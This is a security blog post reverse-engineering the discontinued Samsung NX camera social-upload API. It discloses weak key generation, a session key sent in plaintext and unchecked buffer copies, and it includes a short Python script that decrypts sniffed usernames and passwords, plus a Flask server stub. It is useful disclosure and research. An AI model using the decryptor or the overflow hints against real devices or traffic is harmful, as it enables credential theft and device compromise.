Georg Lukas, 2023-12-01 17:02

Back in 2009, Samsung introduced cameras with Wi-Fi that could upload images and videos to your social media account. The cameras talked to an (unencrypted) HTTP endpoint at Samsung's Social Network Services (SNS), probably to quickly adapt to changing upstream APIs without having to deploy new camera firmware.

This post is about reverse engineering the API based on a few old PCAPs and the binary code running on the NX300. We are finding a fractal of spectacular encryption fails created by Samsung, and creating a PoC reference server implementation in python/flask.

Before Samsung discontinued the SNS service in 2021, their faulty implementation allowed a passive attacker to decrypt the users social media credentials (there is no need to decrypt the media, as they are uploaded in the clear). And there were quite some buffer overflows along the way.

Skip right to the encryption fails!

Show me the code!

History

The social media upload feature was introduced with the ST1000 / CL65 model, and soon added to the compact WB150F/WB850F/ST200F and the NX series ILCs with the NX20/NX210/NX1000 introduction.

Ironically, Wi-Fi support was implemented inconsistently over the different models and generations. There is a feature matrix for the NX models with a bit of an overview of the different Wi-Fi modes, and this post only focuses on the (also inconsistently implemented) cloud-based email and social network features.

Some models like the NX mini support sending emails as well as uploading (photos only) to four different social media platforms, other models like the NX30 came with 2GB of free Dropbox storage, while the high-end NX1 and NX500 only supported sending emails through SNS, but no social media. The binary code from the NX300 reveals 16 different platforms, whereas its UI only offers 5, and it allows uploading of photos as well as videos (but only to Facebook and YouTube). In 2015, Samsung left the camera market, and in 2021 they shut down the API servers. However, these cameras are still used in the wild, and some people complained about the termination.

Given that there is no HTTPS, a private or community-driven service could be implemented by using a custom DNS server and redirecting the camera's traffic.

Back then, I took that as a chance to reverse engineer the more straight-forward SNS email API and postponed the more complex looking social media API until now.

Email API

The easy part about the email API was that the camera sent a single HTTP POST request with an XML form containing the sender, recipient and body text, and the pictures attached. To succeed, the API server merely had to return 200 OK. Also the camera I was using (the NX500) didn't have support for any of the other services.

POST /social/columbus/email?DUID=123456789033  HTTP/1.0
Authorization:OAuth oauth_consumer_key="censored",oauth_nonce="censored",oauth_signature="censored=",oauth_signature_method="HmacSHA1",oauth_timestamp="9717886885",oauth_version="1.0"
x-osp-version:v1
User-Agent: sdeClient
Content-Type: multipart/form-data; boundary=---------------------------7d93b9550d4a
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Pragma: no-cache
Accept-Language: ko
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727)
Host: www.ospserver.net
Content-Length: 1321295

-----------------------------7d93b9550d4a
content-disposition: form-data; name="message"; fileName="sample.txt"
content-Type: multipart/form-data;

<?xml version="1.0" encoding="UTF-8"?>
<email><sender>Camera@samsungcamera.com</sender><receiverList><receiver>censored@censored.com</receiver></receiverList><title><![CDATA[[Samsung Smart Camera] sent you files.]]></title><body><![CDATA[Sent from Samsung Camera.
language_sh100_utf8]]></body></email>

-----------------------------7d93b9550d4a
content-disposition: form-data; name="binary"; fileName="SAM_4371.JPG"
content-Type: image/jpeg;

<snip>

-----------------------------7d93b9550d4a

The syntax is almost valid, except there is no epilogue (----foo--) after the image, but just a boundary (----foo), so unpatched HTTP servers will not consider this as a valid request.

Social media login

The challenge with the social media posting was that the camera is sending multiple XML requests, and parsing the answer from XML documents in an unknown format, which cannot be obtained from the wire after Samsung terminated the official servers. Another challenge was that the credentials are transmitted in an encrypted way, so the encryption needed to be analyzed (and possibly broken) as well. Here is the first request from the camera when logging into Facebook:

POST http://snsgw.samsungmobile.com/facebook/auth HTTP/1.1

<?xml version="1.0" encoding="UTF-8"?>
<Request Method="login" Timeout="3000" CameraCryptKey="58a4c8161c8aa7b1287bc4934a2d89fa952da1cddc5b8f3d84d3406713a7be05f67862903b8f28f54272657432036b78e695afbe604a6ed69349ced7cf46c3e4ce587e1d56d301c544bdc2d476ac5451ceb217c2d71a2a35ce9ac1b9819e7f09475bbd493ac7700dd2e8a9a7f1ba8c601b247a70095a0b4cc3baa396eaa96648">
<UserName Value="uFK%2Fz%2BkEchpulalnJr1rBw%3D%3D"/>
<Password Value="ob7Ue7q%2BkUSZFffy3%2BVfiQ%3D%3D"/>
<PersistKey Use="true"/>
4p4uaaq422af3"/>
<SessionKey Type="APIF"/>
<CryptSessionKey Use="true" Type="SHA1" Value="//////S3mbZSAQAA/LOitv////9IIgS2UgEAAAAQBLY="/>
<ApplicationKey Value="6a563c3967f147d3adfa454ef913535d0d109ba4b4584914"/>
</Request>

For the other social media platforms, the /facebook/ part of the URL is replaced with the respective service name, except that some apparently use OAuth instead of sending encrypted credentials directly.

Locating the code to reverse-engineer

Of the different models supporting the feature, the Tizen-based NX300 seemed to be the best candidate, given that it's running Linux under the hood. Even though Samsung never provided source code for the camera UI and its components, reverse-engineering an ELF binary running on a Linux host where you are root is a totally different game than trying to pierce a proprietary ARM SoC running an unknown OS from the outside.

When requesting an image upload, the camera starts a dedicated program, smart-wifi-app-nx300. Luckily, the NX300 FOSS dump contains three copies of it, two of which are not stripped:

~/TIZEN/project/NX300/$ find . -type f -name smart-wifi-app-nx300 -exec ls -alh {} \;
-rwxr-xr-x 1  5.2M Oct 16  2013 ./imagedev/usr/bin/smart-wifi-app-nx300
-rwxr-xr-x 1  519K Oct 16  2013 ./image/rootdir/usr/bin/smart-wifi-app-nx300
-rwxr-xr-x 1  5.2M Oct 16  2013 ./image/rootdir_3-5/usr/bin/smart-wifi-app-nx300

Unfortunately, the actual logic is happening in libwifi-sns.so, of which all copies are stripped. There is a header file libwifi-sns/client_predefined.h provided (by accident) as part of the dev image, but it only contains the string values from which the requests are constructed:

#define WEB_XML_LOGIN_REQUEST_PREFIX "<Request Method=\"login\" Timeout=\"3000\" CameraCryptKey=\""
#define WEB_XML_USER_PREFIX          "<UserName Value=\""
#define WEB_XML_PW_PREFIX            "<Password Value=\""
...

The program is also doing extensive debugging through /dev/log_main, including the error messages that we cause when re-creating the API.

We will load both smart-wifi-app-nx300 and libwifi-sns.so in Ghidra and use its pretty good decompiler to get an understanding of the code. The following code snippets are based on the decompiler output, edited for better understanding and brevity (error checks and debug outputs are stripped).

Processing the login credentials

When trying the upload for the first time, the camera will pop up a credentials dialog to get the username and password for the specific service:

Screenshot of the NX login dialog

Internally, the plain-text credentials and social network name are stored for later processing in a global struct gWeb, the layout of which is not known. The field names and sizes of gWeb fields in the following code blocks are based on correlating debug prints and memset() size arguments, and need to be taken with a grain of salt.

The actual auth request is prepared by the WebLogin function, which will resolve the numeric site ID into the site name (e.g. "facebook" or "kakaostory"), get the appropriate server name ("snsgw.samsungmobile.com" or a regional endpoint like na-snsgw.samsungmobile.com for North America), and call into WebMakeLoginData() to encrypt the login credentials and eventually to create a HTTP POST payload:

bool WebMakeLoginData(char *out_http_request,int site_idx) {
    /* snip quite a bunch of boring code */
    switch (WebCheckSNSGatewayLocation(site_idx)) {
    case /*0*/ LOCATION_EUROPE:
        host = "snsgw.samsungmobile.com"; break;
    case /*1*/ LOCATION_USA:
        host = "na-snsgw.samsungmobile.com"; break;
    case /*2*/ LOCATION_CHINA:
        host = "cn-snsgw.samsungmobile.com"; break;
    case /*3*/ LOCATION_SINGAPORE:
        host = "as-snsgw.samsungmobile.com"; break;
    case 4 /* unsure, maybe staging? */:
        host = "sta.snsgw.samsungmobile.com"; break;
    default: /* Asia? */
        host = "as-snsgw.samsungmobile.com"; break;
    }
    Web_Encrypt_Init();
    Web_Get_Duid(); /* calculate device unique identifier into gWeb.duid */
    Web_Get_Encrypted_Id(); /* encrypt user id into gWeb.enc_id */
    Web_Get_Encrypted_Pw(); /* encrypt password into gWeb.enc_pw */
    Web_Get_Camera_CryptKey(); /* encrypt keyspec into gWeb.encrypted_session_key */
    URLEncode(&encrypted_session_key,gWeb.encrypted_session_key);
    if (site_idx == /*5*/ SITE_SAMSUNGIMAGING || site_idx == /*6*/ SITE_CYWORLD) {
        WebMakeDataWithOAuth(out_http_request);
    } else if (site_idx == /*14*/ SITE_KAKAOSTORY) {
        /* snip HTTP POST with unencrypted credentials to sandbox-auth.kakao.com */
    } else {
        /* snip and postpone HTTP POST with XML payload to snsgw.samsungmobile.com */
    }
}

From there, Web_Encrypt_Init() is called to reset the gWeb fields, to obtain a new (symmetric) encryption key, and to encrypt the application_key:

bool Web_Encrypt_Init(void) {
    char buffer[128];
    memset(gWeb.keyspec,0,64);
    memset(gWeb.encrypted_application_key,0,128);
    memset(gWeb.enc_id,0,64);
    memset(gWeb.enc_pw,0,64);
    memset(gWeb.encrypted_session_key,0,512);
    memset(gWeb.duid,0,64);

    generateKeySpec(&gWeb.keyspec);
    dataEncrypt(&buffer,gWeb.application_key,gWeb.keyspec);
    URLEncode(&gWeb.encrypted_application_key,buffer);
}

We remember the very interesting generateKeySpec() and dataEncrypt() functions for later analysis.

WebMakeLoginData() also calls Web_Get_Encrypted_Id() and Web_Get_Encrypted_Pw() to obtain the encrypted (and base64-encoded) username and password. Those follow the same logic of dataEncrypt() plus URLEncode() to store the encrypted values in respective fields in gWeb as well.

bool Web_Get_Encrypted_Pw() {
    char buffer[128];
    memset(gWeb.enc_pw,0,64);
    dataEncrypt(&buffer,gWeb.password,gWeb.keyspec);
    URLEncode(&gWeb.enc_pw,buffer);
}

Interestingly, we are using a 128-byte intermediate buffer for the encryption result, and URL-encoding it into a 64-byte destination field. However, gWeb.password is only 32 bytes, so we are hopefully safe here. Nevertheless, there are no range checks in the code.

Finally, it calls Web_Get_Camera_CryptKey() to RSA-encrypt the generated keyspec and to store it in gWeb.encrypted_session_key. The actual encryption is done by encryptSessionKey(&gWeb.encrypted_session_key,gWeb.keyspec) which we should also look into.

Generating the secret key: generateKeySpec()

That function is as straight-forward as can be, it requests two blocks of random data into a 32-byte array and returns the base-64 encoded result:

int generateKeySpec(char **out_keyspec) {
    char rnd_buffer[32];
    int result;
    char *rnd1 = _secureRandom(&result);
    char *rnd2 = _secureRandom(&result);
    memcpy(rnd_buffer, rnd1, 16);
    memcpy(rnd_buffer+16, rnd2, 16);
    char *b64_buf = String_base64Encode(rnd_buffer,32,&result);
    *out_keyspec = b64_buf;
}

(In)secure random number generation: _secureRandom()

It's still worth looking into the source of randomness that we are using, which hopefully should be /dev/random or at least /dev/urandom, even on an ancient Linux system:

char *_secureRandom(int *result)
{
    srand(time(0));
    char *target = String_new(20,result);
    String_format(target,20,"%d",rand());
    target = _sha1_byte(target,result);
    return target;
}

WAIT WHAT?! Say that again, slowly! You are initializing the libc pseudo-random number generator with the current time, with one-second granularity, then getting a "random" number from it somewhere between 0 and RAND_MAX = 2147483647, then printing it into a string and calculating a 20-byte SHA1 sum of it?!?!?!

Apparently, the Samsung engineers never heard of the Debian OpenSSL random number generator, or they considered imitating it a good idea?

The entropy of this function depends only on how badly the user maintains the camera's clock, and can be expected to be about six bits (you can only set minutes, not seconds, in the camera), instead of the 128 bits required.

Calling this function twice in a row will almost always produce the same insecure block of data.

The function name _sha1_byte() is confusing as well, why is it a singular byte, and why is there no length parameter?

char *_sha1_byte(char *buffer, int *result) {
    int len = strlen(buffer);
    char *shabuf = malloc(20);
    int hash_len = 20;
    memset(shabuf,0,hash_len);
    SecCrHash(shabuf,&hash_len);
    return shabuf;

That looks plausible, right? We just assume that buffer is a NUL-terminated string (the string we pass from _secureRandom() is one), and then we... don't pass it into the SecCrHash() function? We only pass the virgin 20-byte target array to write the hash into? The hash of what?

int SecCrHash(void *dst, int *out_len) {
    char buf [20];
    *out_len = 20;
    memcpy(dst, buf, *out_len);
    return 0;
}

It turns out, the SecCrHash function (secure cryptographic hash?) is not hashing anything, and it's not processing any input, it's just copying 20 bytes of uninitialized data from the stack to the destination buffer. So instead of returning an obfuscated timestamp, we are returning some (even more deterministic) data that previous function calls worked with.

Well, from an attacker point of view, this actually makes cracking the key (slightly) harder, as we can't just fuzz around the current time, we need to actually get an understanding of the calls happening before that and see what kind of data they can leave on the stack.

SPOILER: No, we don't have to. Samsung helpfully leaked the symmetric encryption key for us. But let's still finish this arc and see what else we can find. Skip to the encryption key leak.

Encrypting values: dataEncrypt()

The secure key material in gWeb.keyspec is passed to dataEncrypt() to actually encrypt strings:

int dataEncrypt(char **out_enc_b64, char *message, char *key_b64) {
    int result;
    char *keyspec;
    String_base64Decode(key_b64,&keyspec,&result);
    char key[16];
    char iv[16];
    memcpy(key, keyspec, 16);
    memcpy(iv, keyspec+16, 16);
    return _aesEncrypt(message, key, iv, &result);
}

char *_aesEncrypt(char *message, char *key, char *iv, int *result) {
    int bufsize = (strlen(message) + 15) & ~15; /* round up to block size */
    char *enc_data = malloc(bufsize);
    SecCrEncryptBlock(&enc_data,&bufsize,message,bufsize,key,16,iv,16);
    char *ret_buf = String_base64Encode(enc_data,bufsize,result);
    free(enc_data);
    return ret_buf;
}

The _aesEncrypt() function is calling SecCrEncryptBlock() and base-64-encoding the result. From SecCrEncryptBlock() we have calls into NAT_CipherInit() and NAT_CipherUpdate() that are initializing a cipher context, copying key material, and passing all calls through function pointers in the cipher context, but it all boils down to doing standard AES-CBC, with the first half of keyspec used as the encryption key, and the second half as the IV, and the (initial) IV being the same for all dataEncrypt() calls.

The prefixes SecCr and NAT imply that some crypto library is in use, but there are no obvious results on google or github, and the function names are mostly self-explanatory.

Encrypting the secret key: encryptSessionKey()

This function will decode the base64-encoded 32-byte keyspec, and encrypt it with a hard-coded RSA key:

int encryptSessionKey(char **out_rsa_enc,char *keyspec)

{
  int result;
  char *keyspec_raw;
  int keyspec_raw_len = String_base64Decode(keyspec,&keyspec_raw,&result);
  char *dst = _rsaEncrypt(keyspec_raw,keyspec_raw_len,
        "0x8ae4efdc724da51da5a5a023357ea25799144b1e6efbe8506fed1ef12abe7d3c11995f15
        dd5bf20f46741fa7c269c7f4dc5774ce6be8fc09635fe12c9a5b4104a890062b9987a6b6d69
        c85cf60e619674a0b48130bb63f4cf7995da9f797e2236a293ebc66ee3143c221b2ddf239b4
        de39466f768a6da7b11eb7f4d16387b4d7",
        "0x10001",&result);
  *out_rsa_enc = dst;
}

The _rsaEncrypt() function is using the BigDigits multiple-precision arithmetic library to add PCKS#1 v1.5 padding to the keyspec, encrypt it with the supplied m and e values, and return the encrypted value. The result is a long hex number string like the one we can see in the <Request/> PCAP above.

Completing the HTTP POST: WebMakeLoginData() contd.

Now that we have all the cryptographic ingredients together, we can return to actually crafting the HTTP request.

There are three different code paths taken by WebMakeLoginData(). One into WebMakeDataWithOAuth() for the samsungimaging and cyworld sites, one creating a x-www-form-urlencoded HTTP POST to sandbox-auth.kakao.com, and one creating the XML <Request/> we've seen in the packet trace for all other social networks. Given the obscurity of the first three networks, we'll focus on the last code path:

WebString_Add_fmt(body,"%s%s","<?xml version=\"1.0\" encoding=\"UTF-8\"?>","\r\n");
WebString_Add_fmt(body,"%s%s%s",
                "<Request Method=\"login\" Timeout=\"3000\" CameraCryptKey=\"",
                encrypted_session_key,"\">\r\n");
if (site_idx != /*34*/ SITE_SKYDRIVE) {
    WebString_Add_fmt(body,"%s%s%s","<UserName Value=\"",gWeb.enc_id,"\"/>\r\n");
    WebString_Add_fmt(body,"%s%s%s","<Password Value=\"",gWeb.enc_pw,"\"/>\r\n");
}
WebString_Add_fmt(body,"%s%s%s","<PersistKey Use=\"true\"/>\r\n",duid,"\"/>\r\n");
WebString_Add_fmt(body,"%s%s","<SessionKey Type=\"APIF\"/>","\r\n");
WebString_Add_fmt(body,"%s%s%s","<CryptSessionKey Use=\"true\" Type=\"SHA1\" Value=\"",
                gWeb.keyspec,"\"/>\r\n");
WebString_Add_fmt(body,"%s%s%s","<ApplicationKey Value=\"",gWeb.application_key,
                "\"/>\r\n");
WebString_Add_fmt(body,"%s%s","</Request>","\r\n");
body_len = strlen(body);
WebString_Add_fmt(header,"%s%s%s%s","POST /",gWeb.site,"/auth HTTP/1.1","\r\n");
WebString_Add_fmt(header,"%s%s%s","Host: ",host,"\r\n");
WebString_Add_fmt(header,"%s%s","Content-Type: text/xml;charset=utf-8","\r\n");
WebString_Add_fmt(header,"%s%s%s","User-Agent: ","DI-NX300","\r\n");
WebString_Add_fmt(header,"%s%d%s","Content-Length: ",body_len,"\r\n\r\n");
WebAddString(out_http_request, header);
WebAddString(out_http_request, body);

Okay, so generating XML via a fancy sprintf() has been frowned upon for a long time. However, if done correctly, and if there is no attacker-controlled input with escape characters, this can be an acceptable approach.

In our case, the duid is surrounded by closing tags due to an obvious programmer error, but beyond that, all parameters are properly controlled by encoding them in hex, in base64, or in URL-encoded base64.

We are transmitting the RSA-encrypted session key (as CameraCryptKey), the AES-encrypted username and password (except when uploading to SkyDrive), the duid (outside of a valid XML element), the application_key that we encrypted earlier (but we are sending the unencrypted variable) and the keyspec in the CryptSessionKey element.

The keyspec? Isn't that the secret AES key? Well yes it is. All that RSA code turns out to be a red herring, we get the encryption key on a silver plate!

Decrypting the sniffed login credentials

Can it be that easy? Here's a minimal proof-of-concept in python:

#!/usr/bin/env python3

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from base64 import b64decode
from urllib.parse import unquote
import xml.etree.ElementTree as ET
import sys

def decrypt_string(key, s):
    d = Cipher(algorithms.AES(key[0:16]), modes.CBC(key[16:])).decryptor()
    plaintext = d.update(s)
    return plaintext.decode('utf-8').rstrip('\0')

def decrypt_credentials(xml):
    x_csk = xml.find("CryptSessionKey")
    x_user = xml.find("UserName")
    x_pw = xml.find("Password")

    key = b64decode(x_csk.attrib['Value'])
    enc_user = b64decode(unquote(x_user.attrib['Value']))
    enc_pw = b64decode(unquote(x_pw.attrib['Value']))

    return (key, decrypt_string(key, enc_user), decrypt_string(key, enc_pw))

def decrypt_file(fn):
    key, user, pw = decrypt_credentials(ET.parse(fn).getroot())
    print('User:', user, 'Password:', pw)

for fn in sys.argv[1:]:
    decrypt_file(fn)

If we pass the earlier <Request/> XML to this script, we get this:

User: x Password: z

Looks like somebody couldn't be bothered to touch-tap-type long values.

Now we also can see what kind of garbage stack data is used as the encryption keys.

On the NX300, the results confirm our analysis, this looks very much like stack garbage, with minor variations between _secureRandom() calls:

00000000: ffff ffff f407 a5b6 5201 0000 fc03 aeb6  ........R.......
00000010: ffff ffff 4872 0fb6 5201 0000 0060 0fb6  ....Hr..R....`..

00000000: ffff ffff f487 9ab6 5201 0000 fc83 a3b6  ........R.......
00000010: ffff ffff 48f2 04b6 5201 0000 00e0 04b6  ....H...R.......

00000000: ffff ffff 48a2 04b6 5201 0000 0090 04b6  ....H...R.......
00000010: ffff ffff 48a2 04b6 5201 0000 0090 04b6  ....H...R.......

00000000: ffff ffff f4a7 9ab6 5201 0000 fca3 a3b6  ........R.......
00000010: ffff ffff 4812 05b6 5201 0000 0000 05b6  ....H...R.......

00000000: ffff ffff f4b7 99b6 5201 0000 fcb3 a2b6  ........R.......
00000010: ffff ffff 4822 04b6 5201 0000 0010 04b6  ....H"..R.......

00000000: ffff ffff 48f2 04b6 5201 0000 00e0 04b6  ....H...R.......
00000010: ffff ffff 48f2 04b6 5201 0000 00e0 04b6  ....H...R.......

On the NX mini, the data looks much more random, but consistently key==iv - suggesting that it is actually a sort of sha1(rand()):

00000000: 00e0 fdcd e5ae ea50 a359 8204 03da f992  .......P.Y......
00000010: 00e0 fdcd e5ae ea50 a359 8204 03da f992  .......P.Y......

00000000: 0924 ea0e 9a5c e6ef f26f 75a9 3e97 ced7  .$...\...ou.>...
00000010: 0924 ea0e 9a5c e6ef f26f 75a9 3e97 ced7  .$...\...ou.>...

00000000: 98b8 d78f 5ccc 89a9 2c0f 0736 d5df f412  ....\...,..6....
00000010: 98b8 d78f 5ccc 89a9 2c0f 0736 d5df f412  ....\...,..6....

00000000: d1df 767e eb51 bd40 96d0 3c89 1524 a61c  ..v~.Q.@..<..$..
00000010: d1df 767e eb51 bd40 96d0 3c89 1524 a61c  ..v~.Q.@..<..$..

00000000: d757 4c46 d96d 262f a986 3587 7d29 7429  .WLF.m&/..5.})t)
00000010: d757 4c46 d96d 262f a986 3587 7d29 7429  .WLF.m&/..5.})t)

00000000: dd56 9b41 e2f9 ac11 12b7 1b8c af56 187a  .V.A.........V.z
00000010: dd56 9b41 e2f9 ac11 12b7 1b8c af56 187a  .V.A.........V.z

Social media login response

The HTTP POST request is passed to WebOperateLogin() which will create a TCP socket to port 80 of the target host, send the request and receive the response into a 2KB buffer:

bool WebOperateLogin(int sock_idx,char *buf,ulong site_idx) {
    int buflen = strlen(buf);
    SendTCPSocket(sock_idx,buf,buflen,0,false,0,0);
    rx_buf = malloc(2048);
    int rx_size = ReceiveTCPProcess(sock_idx,rx_buf,300);
    bool login_result = WebCheckLogin(rx_buf,site_idx);
}

The TCP process (actually just a pthread) will clear the buffer and read up to 2047 bytes, ensuring a NUL-terminated result. The response is then "parsed" to extract success / failure flags.

Parsing the login response: WebCheckLogin()

The HTTP response (header plus body) is then searched for certain "XML" "fields" to parse out relevant data:

bool WebCheckLogin(char *buf,int site_idx) {
    char value[512];
    memset(value,0,512);
    if (GetXmlString(buf,"ErrCode",value)) {
        strcpy(gWeb.ErrCode,value); /* gWeb.ErrCode is 16 bytes */
        if (!GetXmlString(buf, "ErrSubCode",value))
            return false;
        strcpy(gWeb.SubErrCode,value); /* gWeb.SubErrCode is also 16 bytes */
        return false;
    }
    if (!GetXmlString(buf,"Response SessionKey",value))
        return false;
    strcpy(gWeb.response_session_key,value); /* ... 64 bytes */
    memset(value,0,512);
    if (!GetXmlString(buf,"PersistKey Value",value))
        return false;
    strcpy(gWeb.persist_key,value); /* ... 64 bytes */
    memset(value,0,512);
    if (!GetXmlString(buf,"CryptSessionKey Value",value))
        return false;
    memset(gWeb.keyspec,0,64);
    strcpy(gWeb.keyspec,value); /* ... 64 bytes */
    if (site_idx == /*34*/ SITE_SKYDRIVE) {
        strcpy(gWeb.LoginPeopleID, "owner");
    } else {
        memset(value,0,512);
        if (!GetXmlString(buf,"LoginPeopleID",value)) {
            return false;
        }
    }
    strcpy(gWeb.LoginPeopleID,value); /* ... 128 bytes */
    if (site_idx == /*34*/ SITE_SKYDRIVE) {
        memset(value,0,512);
        if (!GetXmlString(buf,"OAuth URL",value))
            return false;
        ReplaceString(value,"&amp;","&",skydriveURL);
    }
    return true;
}

The GetXmlString() function is actually quite a euphemism. It does not actually parse XML. Instead, it's searching for the first verbatim occurence of the passed field name, including the verbatim whitespace, checking that it's followed by a colon or an equal sign, and then copying everything from the quotes behind that into out_value. It does not check the buffer bounds, and doesn't ensure NUL-termination, so the caller has to clear the buffer each time (which it doesn't do consistently):

bool GetXmlString(char *xml,char *field,char *out_value) {
    char *position = strstr(xml, field);
    if (!position)
        return false;
    int field_len = strlen(field);
    char *field_end = position + field_len;
    /* snip some decompile that _probably_ checks for a '="' or ':"' postfix at field_end */
    char *value_begin = position + fieldlen + 2;
    char *value_end = strstr(value_begin,"\"");
    if (!value_end)
        return false;
    memcpy(out_value, value_begin, value_end - value_begin);
    return true;

Given that the XML buffer is 2047 bytes controlled by the attacker server operator, and value is a 512-byte buffer on the stack, this calls for some happy smashing!

The ErrCode and ErrSubCode are passed to the UI application, and probably processed according to some look-up tables / error code tables, which are subject to reverse engineering by somebody else. Valid error codes seem to be: 4019 ("invalid grant" from kakaostory), 8001, 9001, 9104.

Logging out

The auth endpoint is also used for logging out from the camera (this feature is well-hidden, you need to switch the camera to "Wi-Fi" mode, enter the respective social network, and then press the 🗑 trash-bin key):

<Request Method="logout" SessionKey="pmlyFu8MJfAVs8ijyMli" CryptKey="ca02890e42c48943acdba4e782f8ac1f20caa249">
</Request>

Writing a minimal auth handler

For the positive case, a few elements need to be present in the response XML. A valid example for that is response-login.xml:

<Response SessionKey="{{ sessionkey }}">
<PersistKey Value="{{ persistkey }}"/>
<CryptSessionKey Value="{{ cryptsessionkey }}"/>
<LoginPeopleID="{{ screenname }}"/>
<OAuth URL="http://snsgw.samsungmobile.com/oauth"/>
</Response>

The camera will persist the SessionKey value and pass it to later requests. Also it will remember the user as "logged in" and skip the /auth/ endpoint in the future. It is unclear yet how to reset that state from the API side to allow a new login (maybe it needs the right ErrCode value?)

A negative response would go along these lines:

<Response ErrCode="{{ errcode }}" ErrSubCode="{{ errsubcode }}" />

And here is the respective Flask handler PoC:

@app.route('/<string:site>/auth',methods = ['POST'])
def auth(site):
    xml = ET.fromstring(request.get_data())
    method = xml.attrib["Method"]
    if method == 'logout':
        return "Logged out for real!"
    keyspec, user, password = decrypt_credentials(xml)
    # TODO: check credentials
    return render_template('response-login.xml',
        sessionkey=mangle_address(user),
        screenname="Samsung NX Lover")

Uploading pictures

After a successful login, the camera will actually start uploading files with WebUploadImage(). For each file, either the /facebook/photo or the /facebook/video endpoint is called with another XML request, followed by a HTTP PUT of the actual content.

bool WebUploadImage(int ui_ctx,int site_idx,int picType) {
    if (site_idx == /*14*/ SITE_KAKAOSTORY) {
        /* snip very long block handling kakaostory */
        return true;
    }
    /* iterate over all files selected for upload */
    for (int i = 0; i < gWeb.selected_count; i++) {
        gWeb.file_path = upload_file_names[i];
        gWeb.index = i+1;
        char *buf = malloc(2048);
        WebMakeUploadingMetaData(buf,site_idx);
        WebOperateMetaDataUpload(site_idx,0,buf);
        WebOperateUpload(0,picType);
    }
    return true;
}

Upload request: WebOperateMetaDataUpload()

The image matadata is prepared by WebMakeUploadingMetaData() and sent by WebOperateMetaDataUpload(). The (user-editable) facebook folder name is properly XML-escaped:

bool WebMakeUploadingMetaData(char *out_http_request,int site_idx) {
    /* snip hostname selection similar to WebMakeLoginData */
    if (strstr(gWeb.file_path, "JPG") != NULL) {
        WebParseFileName(gWeb.file_path,gWeb.file_name);
        /* "authenticate" the request by SHA1'ing some static secrets */
        char header_for_sig[256];
        sprintf(header_for_sig,"/%s/photo.upload*%s#%s:%s",gWeb.site,
            gWeb.persist_key,gWeb.response_session_key,gWeb.keyspec);
        char *crypt_key = sha1str(header_for_sig);
        body = WebMalloc(2048);
        WebString_Add_fmt(body,"%s%s","<?xml version=\"1.0\" encoding=\"UTF-8\"?>","\r\n");
        WebString_Add_fmt(body,"%s%s%s%s%s",
                "<Request Method=\"upload\" Timeout=\"3000\" SessionKey=\"",
                gWeb.response_session_key,"\" CryptKey=\"",crypt_key,"\">\r\n");
        WebString_Add_fmt(body,"%s%s","<Photo>","\r\n");
        if (site_idx == /*1*/ SITE_FACEBOOK) {
            char *folder = xml_escape(gWeb.facebook_folder);
            WebString_Add_fmt(body,"%s%s%s","<Album ID=\"\" Name=\"",folder,"\"/>\r\n");
        } else
            WebString_Add_fmt(body,"%s%s%s","<Album ID=\"\" Name=\"","Samsung Smart Camera","\"/>\r\n");
        WebString_Add_fmt(body,"%s%s%s%s","<File Name=\"",gWeb.file_name,"\"/>","\r\n")
        if (site_idx != /*9*/ SITE_WEIBO) {
            WebString_Add_fmt(body,"%s%s%s%s","<Content><![CDATA[",gWeb.description,"]\]></Content>","\r\n");
        }
        WebString_Add_fmt(body,"%s%s","</Photo>","\r\n");
        WebString_Add_fmt(body,"%s%s","</Request>","\r\n");

        body_len = strlen(body);
        WebString_Add_fmt(header,"%s%s%s%s","POST /",gWeb.site,"/photo HTTP/1.1","\r\n");
        WebString_Add_fmt(header,"%s%s%s","Host: ",hostname,"\r\n");
        WebString_Add_fmt(header,"%s%s","Content-Type: text/xml;charset=utf-8","\r\n");
        WebString_Add_fmt(header,"%s%s%s","User-Agent: ","DI-NX300","\r\n");
        WebString_Add_fmt(header,"%s%d%s","Content-Length: ",body_len,"\r\n\r\n");
        strcat(header,body);
        strcpy(out_http_request,header);
        return true;
    }
    if (strstr(gWeb.file_path, "MP4") != NULL) {
        /* analogous to picture upload, but for video */
    } else
        return false; /* wrong file type */
}

bool WebOperateMetaDataUpload(int site_idx,int sock_idx,char *buf) {
    /* snip hostname selection similar to WebMakeLoginData */
    bool result = WebSocketConnect(sock_idx,hostname,80);
    if (result) {
        SendTCPSocket(sock_idx,buf,strlen(buf),0,false,0,0);
        response = malloc(2048);
        ReceiveTCPProcess(sock_idx,response,300);
        return WebCheckRequest(response);
    }
    return false;
}

The generated XML looks like this:

<?xml version="1.0" encoding="UTF-8"?>
<Request Method="upload" Timeout="3000" SessionKey="deadbeef" CryptKey="4f69e3590858b5026508b241612a140e2e60042b">
<Photo>
<Album ID="" Name="Samsung Smart Camera"/>
<File Name="SAM_9838.JPG"/>
<Content><![CDATA[Upload test message.]]></Content>
</Photo>
</Request>

Upload response: WebCheckRequest()

The server response is checked by WebCheckRequest():

bool WebCheckRequest(char *xml) {
    /* check for HTTP 200 OK, populate ErrCode and ErrSubCode on error */
    if (!GetXmlResult(xml))
        return false;
    memset(web->HostAddr,0,64); /* 64 byte buffer */
    memset(web->ResourceID,0,128); /* 128 byte buffer */
    GetXmlString(xml,"HostAddr",web->HostAddr);
    GetXmlString(xml,"ResourceID",web->ResourceID);
    return true;
}

Thus the server needs to return an (arbitrary) XML element that has the two attributes HostAddr and ResourceID, which are stored in the gWeb struct for later use. As always, there are no range checks (but those fields are in the middle of the struct, so maybe not the best place to smash.

Actual media upload: WebOperateUpload()

The code is pretty straight-forward, it creates a buffer with the (downscaled or original) media file, makes a HTTP PUT request to the host and resource obtained earlier, and submits that to the server:

bool WebOperateUpload(int sock_idx,ulong picType) {
    char hostname[128];
    memset(hostname,0,128);
    WebParseIP(gWeb.HostAddr,hostname); /* not required to be an IP */
    int port = WebParsePort(web->HostAddr);
    if (!WebSocketConnect(sock_idx,hostname,port))
        return false;
    char *file_buffer;
    int file_size;
    char *request = WebMalloc(2048);
    WebMakeUploadingData(request,&file_buffer_ptr,&file_size,picType);
    if (WebUploadingData(sock_idx,request,file_buffer_ptr,file_size)) {
